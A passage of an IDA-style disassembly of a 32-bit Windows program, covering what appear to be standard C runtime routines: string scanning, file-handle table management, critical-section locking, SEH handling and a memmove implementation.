; ---------------------------------------------------------------------------


loc_41CBA8:				; CODE XREF: .text:0041CB7Bj
					; .text:0041CB7Fj
		test	eax, eax
		jz	short loc_41CB70
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41CB9B
		sub	eax, 1
		jz	short loc_41CBD5
		cmp	dh, ch
		jnz	short loc_41CB9B
		sub	eax, 1
		jz	short loc_41CBD5
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41CB9B
		sub	eax, 1


loc_41CBD5:				; CODE XREF: .text:0041CBB7j
					; .text:0041CBC0j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_41CBF4:				; CODE XREF: .text:0041CC01j
		mov	al, [edx]
		or	al, al
		jz	short loc_41CC03
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_41CBF4
; ---------------------------------------------------------------------------


loc_41CC03:				; CODE XREF: .text:0041CBF8j
		mov	esi, [ebp+8]
		mov	edi, edi


loc_41CC08:				; CODE XREF: .text:0041CC15j
		mov	al, [esi]
		or	al, al
		jz	short loc_41CC1A
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_41CC08
		lea	eax, [esi-1]


loc_41CC1A:				; CODE XREF: .text:0041CC0Cj
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41CC20	proc near		; CODE XREF: sub_41D55D+220p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		cmp	ecx, dword_47C618
		push	esi
		push	edi
		jnb	short loc_41CC83
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:47C620h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		cmp	dword ptr [esi+eax], 0FFFFFFFFh
		jnz	short loc_41CC83
		cmp	dword_42D7C4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41CC79
		sub	ecx, 0
		jz	short loc_41CC70
		dec	ecx
		jz	short loc_41CC6B
		dec	ecx
		jnz	short loc_41CC79
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41CC73
; ---------------------------------------------------------------------------


loc_41CC6B:				; CODE XREF: sub_41CC20+41j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41CC73
; ---------------------------------------------------------------------------


loc_41CC70:				; CODE XREF: sub_41CC20+3Ej
		push	ebx
		push	0FFFFFFF6h


loc_41CC73:				; CODE XREF: sub_41CC20+49j
					; sub_41CC20+4Ej
		call	ds:dword_420150	; SetStdHandle


loc_41CC79:				; CODE XREF: sub_41CC20+39j
					; sub_41CC20+44j
		mov	eax, [edi]
		mov	[esi+eax], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41CC99
; ---------------------------------------------------------------------------


loc_41CC83:				; CODE XREF: sub_41CC20+Cj
					; sub_41CC20+2Bj
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41CC99:				; CODE XREF: sub_41CC20+61j
		pop	edi
		pop	esi
		retn
sub_41CC20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC9C	proc near		; CODE XREF: sub_417C89+51p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	ecx, dword_47C618
		push	esi
		push	edi
		jnb	short loc_41CD02
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:47C620h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41CD02
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41CD02
		cmp	dword_42D7C4, 1
		jnz	short loc_41CCF8
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41CCEF
		dec	ecx
		jz	short loc_41CCEA
		dec	ecx
		jnz	short loc_41CCF8
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41CCF2
; ---------------------------------------------------------------------------


loc_41CCEA:				; CODE XREF: sub_41CC9C+44j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41CCF2
; ---------------------------------------------------------------------------


loc_41CCEF:				; CODE XREF: sub_41CC9C+41j
		push	eax
		push	0FFFFFFF6h


loc_41CCF2:				; CODE XREF: sub_41CC9C+4Cj
					; sub_41CC9C+51j
		call	ds:dword_420150	; SetStdHandle


loc_41CCF8:				; CODE XREF: sub_41CC9C+3Bj
					; sub_41CC9C+47j
		mov	eax, [edi]
		or	dword ptr [esi+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41CD18
; ---------------------------------------------------------------------------


loc_41CD02:				; CODE XREF: sub_41CC9C+Cj
					; sub_41CC9C+2Dj ...
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41CD18:				; CODE XREF: sub_41CC9C+64j
		pop	edi
		pop	esi
		retn
sub_41CC9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CD1B	proc near		; CODE XREF: sub_417C89+7p
					; sub_417C89+1Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_47C618
		jnb	short loc_41CD45
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47C620[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		test	byte ptr [eax+4], 1
		jz	short loc_41CD45
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41CD45:				; CODE XREF: sub_41CD1B+Aj
					; sub_41CD1B+25j
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		retn
sub_41CD1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CD5C	proc near		; CODE XREF: sub_417D0C+38p
					; sub_419087+38p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	ecx, eax
		sar	ecx, 5
		and	eax, 1Fh
		push	edi
		lea	ebx, ds:47C620h[ecx*4]
		mov	esi, [ebx]
		lea	edi, [eax+eax*8]
		shl	edi, 2
		add	esi, edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41CDBB
		push	0Ah
		call	sub_418285
		cmp	dword ptr [esi+8], 0
		pop	ecx
		jnz	short loc_41CDB3
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41D188
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41CDB0
		push	0Ah
		call	sub_4181F1
		pop	ecx
		xor	eax, eax
		jmp	short loc_41CDCB
; ---------------------------------------------------------------------------


loc_41CDB0:				; CODE XREF: sub_41CD5C+46j
		inc	dword ptr [esi+8]


loc_41CDB3:				; CODE XREF: sub_41CD5C+32j
		push	0Ah
		call	sub_4181F1
		pop	ecx


loc_41CDBB:				; CODE XREF: sub_41CD5C+24j
		mov	eax, [ebx]
		lea	eax, [eax+edi+0Ch]
		push	eax
		call	ds:dword_42001C	; RtlEnterCriticalSection
		xor	eax, eax
		inc	eax


loc_41CDCB:				; CODE XREF: sub_41CD5C+52j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CD5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDCF	proc near		; CODE XREF: sub_417D83+1p
					; sub_41910E+1p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47C620[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	ds:dword_420018	; RtlLeaveCriticalSection
		retn
sub_41CDCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDF1	proc near		; CODE XREF: sub_41D55D:loc_41D6F1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebp
		push	0Bh
		or	ebp, 0FFFFFFFFh
		call	sub_418206
		test	eax, eax
		pop	ecx
		jz	loc_41CF38
		push	ebx
		push	esi
		push	edi
		push	0Bh
		call	sub_418285
		xor	ebx, ebx
		pop	ecx
		mov	[esp+18h+var_8], ebx
		mov	[esp+18h+var_4], ebx
		mov	edi, offset dword_47C620


loc_41CE21:				; CODE XREF: sub_41CDF1+D5j
		mov	esi, [edi]
		test	esi, esi
		jz	loc_41CED8
		lea	eax, [esi+480h]
		jmp	short loc_41CE91
; ---------------------------------------------------------------------------


loc_41CE33:				; CODE XREF: sub_41CDF1+A2j
		test	byte ptr [esi+4], 1
		jnz	short loc_41CE87
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41CE6C
		push	0Ah
		call	sub_418285
		cmp	dword ptr [esi+8], 0
		pop	ecx
		jnz	short loc_41CE64
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41D188
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41CECE
		inc	dword ptr [esi+8]


loc_41CE64:				; CODE XREF: sub_41CDF1+5Aj
		push	0Ah
		call	sub_4181F1
		pop	ecx


loc_41CE6C:				; CODE XREF: sub_41CDF1+4Cj
		lea	ebx, [esi+0Ch]
		push	ebx
		call	ds:dword_42001C	; RtlEnterCriticalSection
		test	byte ptr [esi+4], 1
		jz	short loc_41CE97
		push	ebx
		call	ds:dword_420018	; RtlLeaveCriticalSection
		mov	ebx, [esp+18h+var_8]


loc_41CE87:				; CODE XREF: sub_41CDF1+46j
		mov	eax, [edi]
		add	esi, 24h
		add	eax, 480h


loc_41CE91:				; CODE XREF: sub_41CDF1+40j
		cmp	esi, eax
		jb	short loc_41CE33
		jmp	short loc_41CEB3
; ---------------------------------------------------------------------------


loc_41CE97:				; CODE XREF: sub_41CDF1+89j
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		sub	eax, [edi]
		push	24h
		cdq
		pop	ecx
		idiv	ecx
		mov	ebp, eax
		add	ebp, [esp+18h+var_4]
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_41CF2D
		mov	ebx, [esp+18h+var_8]


loc_41CEB3:				; CODE XREF: sub_41CDF1+A4j
		add	[esp+18h+var_4], 20h
		inc	ebx
		add	edi, 4
		cmp	edi, offset dword_47C720
		mov	[esp+18h+var_8], ebx
		jl	loc_41CE21
		jmp	short loc_41CF2D
; ---------------------------------------------------------------------------


loc_41CECE:				; CODE XREF: sub_41CDF1+6Ej
		push	0Ah
		call	sub_4181F1
		pop	ecx
		jmp	short loc_41CF2A
; ---------------------------------------------------------------------------


loc_41CED8:				; CODE XREF: sub_41CDF1+34j
		mov	esi, 480h
		push	esi
		call	sub_414E7D
		test	eax, eax
		pop	ecx
		jz	short loc_41CF2D
		add	dword_47C618, 20h
		lea	ecx, ds:47C620h[ebx*4]
		mov	[ecx], eax
		lea	edx, [eax+480h]
		jmp	short loc_41CF16
; ---------------------------------------------------------------------------


loc_41CF00:				; CODE XREF: sub_41CDF1+127j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 24h
		add	edx, esi


loc_41CF16:				; CODE XREF: sub_41CDF1+10Dj
		cmp	eax, edx
		jb	short loc_41CF00
		shl	ebx, 5
		mov	ebp, ebx
		push	ebp
		call	sub_41CD5C
		test	eax, eax
		pop	ecx
		jnz	short loc_41CF2D


loc_41CF2A:				; CODE XREF: sub_41CDF1+E5j
		or	ebp, 0FFFFFFFFh


loc_41CF2D:				; CODE XREF: sub_41CDF1+BCj
					; sub_41CDF1+DBj ...
		push	0Bh
		call	sub_4181F1
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx


loc_41CF38:				; CODE XREF: sub_41CDF1+10j
		mov	eax, ebp
		pop	ebp
		pop	ecx
		pop	ecx
		retn
sub_41CDF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF3E	proc near		; CODE XREF: sub_417E2F+1Ep

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041CFE6 SIZE 00000014 BYTES

		push	0Ch
		push	offset stru_429A78
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47C618
		jnb	loc_41CFE6
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47C620h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41CFE6
		push	ebx
		call	sub_41CD5C
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41CFBE
		push	ebx
		call	sub_41CD1B
		pop	ecx
		push	eax
		call	ds:dword_42014C	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41CFAA
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	[ebp+var_1C], eax
		jmp	short loc_41CFAE
; ---------------------------------------------------------------------------


loc_41CFAA:				; CODE XREF: sub_41CF3E+5Fj
		and	[ebp+var_1C], 0


loc_41CFAE:				; CODE XREF: sub_41CF3E+6Aj
		cmp	[ebp+var_1C], 0
		jz	short loc_41CFCD
		call	sub_419609
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx


loc_41CFBE:				; CODE XREF: sub_41CF3E+4Dj
		call	sub_419600
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41CFCD:				; CODE XREF: sub_41CF3E+74j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41CFDE
		mov	eax, [ebp+var_1C]
		jmp	short loc_41CFF4
sub_41CF3E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFDB	proc near		; DATA XREF: .rdata:stru_429A78o
		mov	ebx, [ebp+8]
sub_41CFDB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CFDE	proc near		; CODE XREF: sub_41CF3E+93p
		push	ebx
		call	sub_41CDCF
		pop	ecx
		retn
sub_41CFDE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41CF3E


loc_41CFE6:				; CODE XREF: sub_41CF3E+15j
					; sub_41CF3E+39j
		call	sub_419600
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh


loc_41CFF4:				; CODE XREF: sub_41CF3E+9Bj
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41CF3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417FE4


loc_41CFFA:				; CODE XREF: sub_417FE4+Ej
		push	10h
		push	offset stru_429A88
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		push	1
		call	sub_418285
		pop	ecx
		mov	[ebp-4], ebx
		push	3
		pop	edi


loc_41D019:				; CODE XREF: sub_417FE4+5094j
		mov	[ebp-20h], edi
		cmp	edi, dword_47D9A0
		jge	short loc_41D07A
		mov	esi, edi
		shl	esi, 2
		mov	eax, dword_47C984
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_41D077
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41D04A
		push	eax
		call	sub_4149C3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D04A
		inc	dword ptr [ebp-1Ch]


loc_41D04A:				; CODE XREF: sub_417FE4+5055j
					; sub_417FE4+5061j
		cmp	edi, 14h
		jl	short loc_41D077
		mov	eax, dword_47C984
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:dword_420024	; RtlDeleteCriticalSection
		mov	eax, dword_47C984
		push	dword ptr [esi+eax]
		call	sub_414A14
		pop	ecx
		mov	eax, dword_47C984
		mov	[esi+eax], ebx


loc_41D077:				; CODE XREF: sub_417FE4+504Fj
					; sub_417FE4+5069j
		inc	edi
		jmp	short loc_41D019
; ---------------------------------------------------------------------------


loc_41D07A:				; CODE XREF: sub_417FE4+503Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_41D08C
		mov	eax, [ebp-1Ch]
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_417FE4

; =============== S U B	R O U T	I N E =======================================



sub_41D08C	proc near		; CODE XREF: sub_417FE4+509Ap
					; DATA XREF: .rdata:stru_429A88o
		push	1
		call	sub_4181F1
		pop	ecx
		retn
sub_41D08C	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0A0	proc near		; DATA XREF: __SEH_prologo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41D140
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41D0D3:				; CODE XREF: sub_41D0A0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D139
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41D127
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41D127
		js	short loc_41D132
		mov	edi, [ebx+8]
		push	ebx
		call	sub_415970
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4159B2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_415A46
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41D127:				; CODE XREF: sub_41D0A0+40j
					; sub_41D0A0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41D0D3
; ---------------------------------------------------------------------------


loc_41D132:				; CODE XREF: sub_41D0A0+54j
		mov	eax, 0
		jmp	short loc_41D155
; ---------------------------------------------------------------------------


loc_41D139:				; CODE XREF: sub_41D0A0+36j
		mov	eax, 1
		jmp	short loc_41D155
; ---------------------------------------------------------------------------


loc_41D140:				; CODE XREF: sub_41D0A0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4159B2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41D155:				; CODE XREF: sub_41D0A0+97j
					; sub_41D0A0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D0A0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4159B2
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41D178:				; DATA XREF: sub_41D188:loc_41D1CAo
		push	dword ptr [esp+4]
		call	ds:dword_420148	; InitializeCriticalSection
		xor	eax, eax
		inc	eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D188	proc near		; CODE XREF: sub_418153+26p
					; sub_418206+49p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	10h
		push	offset stru_429AC0
		call	__SEH_prolog
		mov	eax, dword_47C4FC
		test	eax, eax
		jnz	short loc_41D1D4
		cmp	dword_47C1A4, 1
		jz	short loc_41D1CA
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_4200A4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41D1CA
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	ds:dword_420084	; GetProcAddress
		mov	dword_47C4FC, eax
		test	eax, eax
		jnz	short loc_41D1D4


loc_41D1CA:				; CODE XREF: sub_41D188+1Cj
					; sub_41D188+2Bj
		mov	eax, offset loc_41D178
		mov	dword_47C4FC, eax


loc_41D1D4:				; CODE XREF: sub_41D188+13j
					; sub_41D188+40j
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax	; InitializeCriticalSectionAndSpinCount
		mov	[ebp+var_1C], eax
		jmp	short loc_41D209
; ---------------------------------------------------------------------------


loc_41D1E5:				; DATA XREF: .rdata:stru_429AC0o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41D1F3:				; DATA XREF: .rdata:stru_429AC0o
		mov	esp, [ebp+ms_exc.old_esp]
		cmp	[ebp+var_20], 0C0000017h
		jnz	short loc_41D207
		push	8
		call	ds:dword_420170	; RtlSetLastWin32Error


loc_41D207:				; CODE XREF: sub_41D188+75j
		xor	eax, eax


loc_41D209:				; CODE XREF: sub_41D188+5Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	__SEH_epilog
		retn
sub_41D188	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D220	proc near		; CODE XREF: sub_418329+2DEp
					; sub_419886+13p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D240
		cmp	edi, eax
		jb	loc_41D3BC


loc_41D240:				; CODE XREF: sub_41D220+16j
		test	edi, 3
		jnz	short loc_41D25C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D27C
		rep movsd
		jmp	ds:off_41D36C[edx*4]
; ---------------------------------------------------------------------------


loc_41D25C:				; CODE XREF: sub_41D220+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D274
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41D27C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D274:				; CODE XREF: sub_41D220+46j
		jmp	dword ptr ds:loc_41D37C[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D27C:				; CODE XREF: sub_41D220+31j
					; sub_41D220+8Ej ...
		jmp	ds:off_41D300[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
; ---------------------------------------------------------------------------
		rol	byte ptr [ecx+0], cl
		mov	esp, 0E00041D2h
		rol	byte ptr [ecx+0], cl
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D27C
		rep movsd
		jmp	ds:off_41D36C[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D27C
		rep movsd
		jmp	ds:off_41D36C[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_41D27C
		rep movsd
		jmp	ds:off_41D36C[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D300	dd offset loc_41D363	; DATA XREF: sub_41D220:loc_41D27Cr
		dd offset loc_41D350
		dd offset loc_41D348
		dd offset loc_41D340
		dd offset loc_41D338
		dd offset loc_41D330
		dd offset loc_41D328
		dd offset loc_41D320
; ---------------------------------------------------------------------------


loc_41D320:				; CODE XREF: sub_41D220:loc_41D27Cj
					; DATA XREF: sub_41D220+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D328:				; CODE XREF: sub_41D220:loc_41D27Cj
					; DATA XREF: sub_41D220+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D330:				; CODE XREF: sub_41D220:loc_41D27Cj
					; DATA XREF: sub_41D220+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D338:				; CODE XREF: sub_41D220:loc_41D27Cj
					; DATA XREF: sub_41D220+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D340:				; CODE XREF: sub_41D220:loc_41D27Cj
					; DATA XREF: sub_41D220+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D348:				; CODE XREF: sub_41D220:loc_41D27Cj
					; DATA XREF: sub_41D220+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D350:				; CODE XREF: sub_41D220:loc_41D27Cj
					; DATA XREF: sub_41D220+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D363:				; CODE XREF: sub_41D220:loc_41D27Cj
					; DATA XREF: sub_41D220:off_41D300o
		jmp	ds:off_41D36C[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D36C	dd offset loc_41D37C	; DATA XREF: sub_41D220+35r
					; sub_41D220+92r ...
		dd offset loc_41D384
		dd offset loc_41D390
		dd offset loc_41D3A4
; ---------------------------------------------------------------------------


loc_41D37C:				; CODE XREF: sub_41D220+35j
					; sub_41D220+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D384:				; CODE XREF: sub_41D220+35j
					; sub_41D220+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D390:				; CODE XREF: sub_41D220+35j
					; sub_41D220+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D3A4:				; CODE XREF: sub_41D220+35j
					; sub_41D220+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D3BC:				; CODE XREF: sub_41D220+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D3F0
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D3E4
		std
		rep movsd
		cld
		jmp	ds:off_41D508[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D3E4:				; CODE XREF: sub_41D220+1B5j
					; sub_41D220+210j ...
		neg	ecx
		jmp	ds:off_41D4B8[ecx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D3F0:				; CODE XREF: sub_41D220+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D408
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_41D408+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D408:				; CODE XREF: sub_41D220+1DAj
					; DATA XREF: sub_41D220+1E1r
		jmp	ds:off_41D508[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		sbb	al, 0D4h
		inc	ecx
		add	[eax-2Ch], al
		inc	ecx
		add	[eax-2Ch], ch
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_41D3E4
		std
		rep movsd
		cld
		jmp	ds:off_41D508[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D3E4
		std
		rep movsd
		cld
